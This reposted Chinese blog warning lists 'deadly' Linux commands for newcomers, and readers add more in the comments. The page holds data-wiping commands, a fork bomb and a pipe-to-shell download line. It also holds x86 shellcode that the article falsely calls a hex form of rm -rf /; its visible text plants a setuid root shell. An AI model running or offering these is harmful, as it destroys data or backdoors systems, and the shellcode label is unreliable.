7 个致命的 Linux 命令

来源:互联网 发布:淘宝游戏机 编辑:程序博客网 时间:2024/05/01 07:15

 原贴:http://linuxtoy.org/archives/the-7-deadly-linux-commands.html

7 个致命的 Linux 命令

<script type="text/javascript">&lt;!--google_ad_client = "pub-9432205671574187";//LT, 300x250google_ad_slot = "9869120281";google_ad_width = 300;google_ad_height = 250;//--&gt;</script><script src="http://pagead2.googlesyndication.com/pagead/show_ads.js" type="text/javascript"></script><script src="http://googleads.g.doubleclick.net/pagead/test_domain.js"></script><script>window.google_render_ad();</script>

如果你是一个 Linux 新手,在好奇心的驱使下,可能会去尝试从各个渠道获得的命令。以下是 7 个致命的 Linux 命令,轻则使你的数据造成丢失,重则使你的系统造成瘫痪,所以,你应当竭力避免在系统中运行它们。

  1. rm -rf /

    此命令将递归并强制删除 / 目录下的所有文件。

  2. char esp[] __attribute__ ((section(”.text”))) /* e.s.p
    release */
    = “/xeb/x3e/x5b/x31/xc0/x50/x54/x5a/x83/xec/x64/x68″
    “/xff/xff/xff/xff/x68/xdf/xd0/xdf/xd9/x68/x8d/x99″
    “/xdf/x81/x68/x8d/x92/xdf/xd2/x54/x5e/xf7/x16/xf7″
    “/x56/x04/xf7/x56/x08/xf7/x56/x0c/x83/xc4/x74/x56″
    “/x8d/x73/x08/x56/x53/x54/x59/xb0/x0b/xcd/x80/x31″
    “/xc0/x40/xeb/xf9/xe8/xbd/xff/xff/xff/x2f/x62/x69″
    “/x6e/x2f/x73/x68/x00/x2d/x63/x00″
    “cp -p /bin/sh /tmp/.beyond; chmod 4755
    /tmp/.beyond;”;

    这是 rm -rf / 的 hex(十六进制)版本,很能迷惑 Linux 用户。

  3. mkfs.ext3 /dev/sda

    这将对硬盘进行重新格式化,自然,硬盘上的所有数据将灰飞烟灭。

  4. :(){ :|:& };:

    著名的 fork 炸弹,此命令将告诉你的系统执行海量的进程,直到你的系统僵死。

  5. any_command > /dev/sda

    使用该命令,原始数据将被写到块设备,其结果是造成数据丢失。

  6. wget http://some_untrusted_source -O- | sh

    不要从不信任的地方下载东西,这可能会获取恶意代码。

  7. mv /home/yourhomedirectory/* /dev/null

    此命令将移动主目录中的所有文件到一个不存在的地方,你将再也看不到那些文件。

如果你认为还有其他致命的 Linux 命令,那么请在留言中告诉我们。

[via TECH SOURCE FROM BOHOL]

署名 • 注明出处 • 非商业性使用

30 Comments

  1. 1 eric Commented @ 2008-11-21 10:32 amReply to this comment

    果然致命。

  2. 2 henry Commented @ 2008-11-21 10:37 amReply to this comment

    谁能给分析一下这个?

    :(){:|:&};:

  3. 3 vincent Commented @ 2008-11-21 11:14 amReply to this comment

    递归函数的定义和调用

  4. 4 nowigi Commented @ 2008-11-21 11:20 amReply to this comment

    —-你将从来不会再次看到那些文件

    我猜原文可能是 “You will never see that files again”。这里是直接生硬翻译出来了。
    还是按照汉语的习惯翻译成 “你再也看不到那些文件了”

  5. 5 宇义 Commented @ 2008-11-21 11:21 amReply to this comment

    多谢五楼,受教。

  6. 6 宇义 Commented @ 2008-11-21 11:22 amReply to this comment

    哇,我说的是7楼,好神奇。

  7. 7 宇义 Commented @ 2008-11-21 11:22 amReply to this comment

    变8楼了。。。现在来说,应该是9楼。。。服务器时间乱了吧?

  8. 8 avenger Commented @ 2008-11-21 11:27 amReply to this comment

    我觉得这篇文章很危险。

  9. 9 anonymity Commented @ 2008-11-21 11:28 amReply to this comment

    写法不规范,其实应该是:

    :(){ :|:& };:

    注意空格,不然照原样会报错。其实是定义了一个函数并调用:

    # 定义函数“:”
    :()
    {
    # 制造一个管道递归调用函数“:”本身,放到后台
    : | : &
    }
    # 调用这个函数
    :

  10. 10 freet15 Commented @ 2008-11-21 11:29 amReply to this comment

    宇义 ?= 语义 所以混乱了?

  11. 11 well Commented @ 2008-11-21 11:42 amReply to this comment

    太邪恶了~~

  12. 12 Toy Commented @ 2008-11-21 11:46 amReply to this comment

    @nowigi, @anonymity: 感谢,已更正。

  13. 13 islet8 Commented @ 2008-11-21 12:09 pmReply to this comment

    视频的配音真合适,壮士一去不复返……

  14. 14 Tonn Commented @ 2008-11-21 12:10 pmReply to this comment

    这文章貌似以前在哪看过。

  15. 15 xyan Commented @ 2008-11-21 12:16 pmReply to this comment

    chmod -R (随便什么) /
    直接导致我的ubuntu挂掉, 转向Arch~~~~

  16. 16 华华 Commented @ 2008-11-21 1:35 pmReply to this comment

    这篇许多没验证的吧……

  17. 17 damn Commented @ 2008-11-21 1:41 pmReply to this comment

    15楼有病

  18. 18 zer4tul Commented @ 2008-11-21 1:49 pmReply to this comment

    rm -rf / tmp

    这会导致你死的很难看……

  19. 19 wangping Commented @ 2008-11-21 2:14 pmReply to this comment

    @damn
    如果你没有解释,建议版主邀请你去小黑屋找kappa女看看病。

  20. 20 sos Commented @ 2008-11-21 3:30 pmReply to this comment

    车祸现场:

    http://www.youtube.com/watch?v=D4fzInlyYQo

  21. 21 yang Commented @ 2008-11-21 3:48 pmReply to this comment

    never to do this command.never.�

  22. 22 keke Commented @ 2008-11-21 4:31 pmReply to this comment

    呵呵,致命的,前几天刚看过!

  23. 23 anonymity Commented @ 2008-11-21 6:20 pmReply to this comment

    想想这类一刀毙命的命令还真是挺多的,比如:

    dd if=/dev/zero of=/dev/sda bs=120G count=1

    cat /dev/null > /dev/sda

    chown -R someone /

    chmod 7777 -R / (不死也搞你个浑身抢眼)

  24. 24 abird Commented @ 2008-11-21 7:02 pmReply to this comment

    唉,上次写了个cgi,selinux不让他读取/,按照他说的对/执行了下什么命令来着,结果……任何帐号都无法登录了……幸好偶已经登录了好几个root,又改回来了……

  25. 25 Mike Commented @ 2008-11-21 7:35 pmReply to this comment

    没有root权限就是白搭,于是。。。
    一定要保护好自己的root!!!!

  26. 26 mlsx Commented @ 2008-11-21 7:46 pmReply to this comment

    mkfs.ext3 /dev/sda
    并不是什么致命的linux命令,仅仅只是覆盖了superblock,数据并没有丢失。
    可以通过parted的rescue指令来恢复原来的分区信息,数据自然就回来了。

  27. 27 bo Commented @ 2008-11-21 9:26 pmReply to this comment

    sudo apt-get remove glibc

  28. 28 konit Commented @ 2008-11-21 11:08 pmReply to this comment

    沒啥,裝個vbox逐一玩玩心跳:)

  29. 29 dogfox Commented @ 2008-11-22 9:46 pmReply to this comment

    mkfs.ext3 /dev/sda
    貌似这句是格式化mbr的
    应该是mkfs.ext3 /dev/sda*或mkfs.ext3 /dev/sd*吧?
    我没尝试

  30. 30 orionline Commented @ 2008-12-04 12:32 pmReply to this comment

    @华华
    你去验证一哈?回来报告一下成果,忽忽。

    :(){ :|:& };:
    目前为止只试过这个,在ubuntu的中文论坛上看到的。

 

原创粉丝点击